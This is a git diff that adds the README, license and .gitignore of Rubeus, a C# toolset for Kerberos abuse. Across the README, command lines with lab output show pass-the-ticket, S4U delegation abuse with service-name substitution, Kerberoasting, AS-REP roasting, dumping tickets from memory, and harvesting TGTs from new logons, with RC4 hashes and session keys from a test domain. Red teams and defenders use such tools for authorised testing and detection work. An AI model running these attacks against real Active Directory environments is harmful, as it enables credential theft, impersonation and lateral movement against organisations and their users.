diff --git a/.gitignore b/.gitignore
new file mode 100644
index 00000000..95648667
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,6 @@
+.vs
+*.user
+[Dd]ebug/
+[Rr]elease/
+[Bb]in/
+[Oo]bj/
diff --git a/LICENSE b/LICENSE
new file mode 100755
index 00000000..e5161a9f
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,14 @@
+Rubeus is provided under the 3-clause BSD license below.
+
+*************************************************************
+
+Copyright (c) 2018, Will Schroeder
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/README.md b/README.md
new file mode 100755
index 00000000..baf82f17
--- /dev/null
+++ b/README.md
@@ -0,0 +1,695 @@
+# Rubeus
+
+----
+
+Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
+
+Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
+
+[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
+
+Rubeus is licensed under the BSD 3-Clause license.
+
+
+## Usage
+
+ Rubeus usage:
+
+ Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:
+ Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
+
+ Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:
+ Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
+
+ Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
+ Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
+
+ Perform S4U constrained delegation abuse:
+ Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
+ Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
+
+ Submit a TGT, optionally targeting a specific LUID (if elevated):
+ Rubeus.exe ptt [/luid:LOGINID]
+
+ Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
+ Rubeus.exe purge [/luid:LOGINID]
+
+ Parse and describe a ticket (service ticket or TGT):
+ Rubeus.exe describe
+
+ Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
+ Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]
+
+ Perform Kerberoasting:
+ Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
+
+ Perform Kerberoasting with alternate credentials:
+ Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
+
+ Perform AS-REP "roasting" for users without preauth:
+ Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
+
+ Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
+ Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
+
+ Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
+ Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
+
+ Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
+ Rubeus.exe harvest [/interval:MINUTES]
+
+
+ NOTE: Base64 ticket blobs can be decoded with :
+
+ [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
+
+
+## asktgt
+
+The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed).
+
+Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**.
+
+ c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Ask TGT
+
+ [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 230 bytes
+ [*] Received 1537 bytes
+ [+] TGT request successful!
+ [*] base64(ticket.kirbi):
+
+ doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
+ ...(snip)...
+
+ [*] Action: Import Ticket
+ [+] Ticket successfully imported!
+
+
+ C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Create Process (/netonly)
+
+ [*] Showing process : False
+ [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
+ [+] ProcessID : 4988
+ [+] LUID : 6241024
+
+ [*] Action: Ask TGT
+
+ [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
+ [*] Target LUID : 6241024
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 232 bytes
+ [*] Received 1405 bytes
+ [+] TGT request successful!
+ [*] base64(ticket.kirbi):
+
+ doIFFjCCBRKgAwIB...(snip)...
+
+ [*] Action: Import Ticket
+ [*] Target LUID: 0x5f3b00
+ [+] Ticket successfully imported!
+
+**Note that the /luid and /createnetonly parameters require elevation!**
+
+
+## renew
+
+The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
+
+Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
+
+ c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Renew TGT
+
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 1500 bytes
+ [*] Received 1510 bytes
+ [+] TGT renewal request successful!
+ [*] base64(ticket.kirbi):
+
+ doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
+ ...(snip)...
+
+The **/autorenew** flag will take an existing /ticket .kirbi file, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
+
+ C:\Temp\tickets>Rubeus.exe renew /ticket:doIF...(snip)... /autorenew
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Auto-Renew TGT
+
+
+ [*] User : dfm.a@TESTLAB.LOCAL
+ [*] endtime : 9/20/2018 8:06:17 PM
+ [*] renew-till : 9/27/2018 3:06:17 PM
+ [*] Sleeping for 20 minutes (endTime-30) before the next renewal
+ [*] Renewing TGT for dfm.a@TESTLAB.LOCAL
+
+ [*] Action: Renew TGT
+
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 1520 bytes
+ [*] Received 1549 bytes
+ [+] TGT renewal request successful!
+ [*] base64(ticket.kirbi):
+
+ doIFujCCBba...(snip)...
+
+
+ [*] User : dfm.a@TESTLAB.LOCAL
+ [*] endtime : 9/20/2018 8:26:00 PM
+ [*] renew-till : 9/27/2018 3:06:17 PM
+ ...
+
+
+## s4u
+
+The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
+
+First, a valid TGT/KRB-CRED file is needed for the account with constrained delegation configured. This can be achieved with the **asktgt** action, given the NTLM/RC4 or the aes256_cts_hmac_sha1 hash of the account.
+
+The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions.
+
+The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file.
+
+Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange.
+
+ c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Ask TGT
+
+ [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 230 bytes
+ [*] Received 1377 bytes
+ [*] base64(ticket.kirbi):
+
+ doIE+jCCBPagAwIBBaE...(snip)...
+
+ c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: S4U
+
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
+ [*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
+ [*] Final ticket will be for the alternate service 'cifs'
+ [*] Sending S4U2self request
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 1437 bytes
+ [*] Received 1574 bytes
+ [+] S4U2self success!
+ [*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
+ [*] Sending S4U2proxy request
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 2618 bytes
+ [*] Received 1798 bytes
+ [+] S4U2proxy success!
+ [*] Substituting alternative service name 'cifs'
+ [*] base64(ticket.kirbi):
+
+ doIGujCCBragAwIBBaEDAgE...(snip)...
+
+ [*] Action: Import Ticket
+ [+] Ticket successfully imported!
+
+Alternatively using a /user and /rc4 :
+
+ C:\Temp\tickets>dir \\primary.testlab.local\C$
+ The user name or password is incorrect.
+
+ C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Ask TGT
+
+ [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 230 bytes
+ [*] Received 1377 bytes
+ [+] TGT request successful!
+ [*] base64(ticket.kirbi):
+
+ doIE+jCCBPagAwIBBaEDAg...(snip)...
+
+ [*] Action: S4U
+
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
+ [*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
+ [*] Final ticket will be for the alternate service 'cifs'
+ [*] Sending S4U2self request
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 1437 bytes
+ [*] Received 1574 bytes
+ [+] S4U2self success!
+ [*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
+ [*] Sending S4U2proxy request
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 2618 bytes
+ [*] Received 1798 bytes
+ [+] S4U2proxy success!
+ [*] Substituting alternative service name 'cifs'
+ [*] base64(ticket.kirbi):
+
+ doIGujCCBragAwIBBaE...(snip)...
+
+ [*] Action: Import Ticket
+ [+] Ticket successfully imported!
+
+ C:\Temp\tickets>dir \\primary.testlab.local\C$
+ Volume in drive \\primary.testlab.local\C$ has no label.
+ Volume Serial Number is A48B-4D68
+
+ Directory of \\primary.testlab.local\C$
+
+ 03/05/2017 05:36 PM
inetpub
+ 08/22/2013 08:52 AM PerfLogs
+ 04/15/2017 06:25 PM profiles
+ 08/28/2018 12:51 PM Program Files
+ 08/28/2018 12:51 PM Program Files (x86)
+ 08/23/2018 06:47 PM Temp
+ 08/23/2018 04:52 PM Users
+ 08/23/2018 06:48 PM Windows
+ 8 Dir(s) 40,679,706,624 bytes free
+
+
+## ptt
+
+The **ptt** action will submit a /ticket (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:X. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
+
+ c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Import Ticket
+ [+] Ticket successfully imported!
+
+**Note that the /luid parameter requires elevation!**
+
+
+## purge
+
+The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:X.
+
+ C:\Temp\tickets>Rubeus.exe purge
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Purge Tickets
+ [+] Tickets successfully purged!
+
+ C:\Temp\tickets>Rubeus.exe purge /luid:34008685
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Purge Tickets
+ [*] Target LUID: 0x206ee6d
+ [+] Tickets successfully purged!
+
+**Note that the /luid parameter requires elevation!**
+
+
+## describe
+
+The **describe** action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
+
+ c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Display Ticket
+
+ UserName : dfm.a
+ UserRealm : TESTLAB.LOCAL
+ ServiceName : krbtgt
+ ServiceRealm : TESTLAB.LOCAL
+ StartTime : 9/17/2018 6:51:00 PM
+ EndTime : 9/17/2018 11:51:00 PM
+ RenewTill : 9/24/2018 4:22:59 PM
+ Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
+ KeyType : rc4_hmac
+ Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
+
+
+## createnetonly
+
+The **createnetonly** action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:X parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.
+
+ C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Create Process (/netonly)
+
+ [*] Showing process : False
+ [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
+ [+] ProcessID : 9060
+ [+] LUID : 6290874
+
+
+## kerberoast
+
+The **kerberoast** action replaces the [SharpRoast](https://github.com/GhostPack/SharpRoast) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method that was contributed to PowerView by [@machosec](https://twitter.com/machosec) in order to request the proper service ticket. Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.
+
+With no other arguments, all user accounts with SPNs set in the current domain are kerberoasted. The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU.
+
+Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduserDOMAIN.FQDN\USER /credpassword:PASSWORD.
+
+ c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: Kerberoasting
+
+ [*] SamAccountName : testuser2
+ [*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
+ [*] ServicePrincipalName : service/host
+ [*] Hash : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...
+
+
+## asreproast
+
+The **asreproast** action replaces the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project which executed similar actions with the (larger sized) [BouncyCastle](https://www.bouncycastle.org/) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting.
+
+The /user:X parameter is required, while the /domain and /dc arguments are optional, pulling system defaults as other actions do. The [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project has a JohnTheRipper compatible cracking module for this hash type.
+
+ c:\Rubeus>Rubeus.exe asreproast /user:dfm.a
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: AS-REP Roasting
+
+ [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
+ [*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 163 bytes
+ [*] Received 1537 bytes
+ [+] AS-REQ w/o preauth successful!
+ [*] AS-REP hash:
+
+ $krb5asrep$dfm.a@testlab.local:F7310EA341128...(snip)...
+
+
+## dump
+
+The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality.
+
+ c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+
+ [*] Action: Dump Kerberos Ticket Data (All Users)
+
+ [*] Target LUID : 0x596f6
+ [*] Target service : krbtgt
+
+
+ UserName : harmj0y
+ Domain : TESTLAB
+ LogonId : 366326
+ UserSID : S-1-5-21-883232822-274137685-4173207997-1111
+ AuthenticationPackage : Kerberos
+ LogonType : Interactive
+ LogonTime : 9/17/2018 9:05:26 AM
+ LogonServer : PRIMARY
+ LogonServerDNSDomain : TESTLAB.LOCAL
+ UserPrincipalName : harmj0y@testlab.local
+
+ [*] Enumerated 1 ticket(s):
+
+ ServiceName : krbtgt
+ TargetName : krbtgt
+ ClientName : harmj0y
+ DomainName : TESTLAB.LOCAL
+ TargetDomainName : TESTLAB.LOCAL
+ AltTargetDomainName : TESTLAB.LOCAL
+ SessionKeyType : aes256_cts_hmac_sha1
+ Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
+ KeyExpirationTime : 12/31/1600 4:00:00 PM
+ TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
+ StartTime : 9/17/2018 4:20:25 PM
+ EndTime : 9/17/2018 9:20:25 PM
+ RenewUntil : 9/24/2018 2:05:26 AM
+ TimeSkew : 0
+ EncodedTicketSize : 1338
+ Base64EncodedTicket :
+
+ doIFNjCCBTKgAwIBBaEDAg...(snip)...
+
+
+ [*] Enumerated 4 total tickets
+ [*] Extracted 1 total tickets
+
+**Note that this action needs to be run from an elevated context!**
+
+
+## monitor
+
+The **monitor** action will monitor the event log for 4624 logon events and will extract any new TGT tickets for the new logon IDs (LUIDs). The /interval parameter (in seconds, default of 60) specifies how often to check the event log. A /filteruser:X can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)
+
+When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
+
+ c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v1.0.0
+
+ [*] Action: TGT Monitoring
+ [*] Monitoring every 60 seconds for 4624 logon events
+ [*] Target user : dfm.a
+
+
+ [+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
+ [*] Target LUID : 0x991972
+ [*] Target service : krbtgt
+
+ UserName : dfm.a
+ Domain : TESTLAB
+ LogonId : 10033522
+ UserSID : S-1-5-21-883232822-274137685-4173207997-1110
+ AuthenticationPackage : Kerberos
+ LogonType : Network
+ LogonTime : 9/18/2018 2:59:02 AM
+ LogonServer :
+ LogonServerDNSDomain : TESTLAB.LOCAL
+ UserPrincipalName :
+
+ ServiceName : krbtgt
+ TargetName :
+ ClientName : dfm.a
+ DomainName : TESTLAB.LOCAL
+ TargetDomainName : TESTLAB.LOCAL
+ AltTargetDomainName : TESTLAB.LOCAL
+ SessionKeyType : aes256_cts_hmac_sha1
+ Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
+ KeyExpirationTime : 12/31/1600 4:00:00 PM
+ TicketFlags : name_canonicalize, renewable, forwarded, forwardable
+ StartTime : 9/17/2018 7:59:02 PM
+ EndTime : 9/18/2018 12:58:59 AM
+ RenewUntil : 9/24/2018 7:58:59 PM
+ TimeSkew : 0
+ EncodedTicketSize : 1470
+ Base64EncodedTicket :
+
+ doIFujCCBbagAwIBBaE...(snip)...
+
+
+ [*] Extracted 1 total tickets
+
+**Note that this action needs to be run from an elevated context!**
+
+
+## harvest
+
+The **harvest** action takes monitor one step further. It monitors the event log for 4624 events every /interval:MINUTES for new logons, extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. On the /interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit), and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.
+
+This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
+
+ c:\Rubeus>Rubeus.exe harvest /interval:30
+
+ ______ _
+ (_____ \ | |
+ _____) )_ _| |__ _____ _ _ ___
+ | __ /| | | | _ \| ___ | | | |/___)
+ | | \ \| |_| | |_) ) ____| |_| |___ |
+ |_| |_|____/|____/|_____)____/(___/
+
+ v0.0.1a
+
+ [*] Action: TGT Harvesting (w/ auto-renewal)
+
+ [*] Monitoring every 30 minutes for 4624 logon events
+
+ ...(snip)...
+
+ [*] Renewing TGT for dfm.a@TESTLAB.LOCAL
+ [*] Connecting to 192.168.52.100:88
+ [*] Sent 1520 bytes
+ [*] Received 1549 bytes
+
+ [*] 9/17/2018 6:43:02 AM - Current usable TGTs:
+
+ User : dfm.a@TESTLAB.LOCAL
+ StartTime : 9/17/2018 6:43:02 AM
+ EndTime : 9/17/2018 11:43:02 AM
+ RenewTill : 9/24/2018 2:07:48 AM
+ Flags : name_canonicalize, renewable, forwarded, forwardable
+ Base64EncodedTicket :
+
+ doIFujCCBbagAw...(snip)...
+
+**Note that this action needs to be run from an elevated context!**
+
+
+## Compile Instructions
+
+We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
+
